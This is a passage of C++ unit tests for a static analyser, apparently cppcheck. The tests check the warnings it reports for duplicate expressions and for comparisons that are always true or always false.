ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n 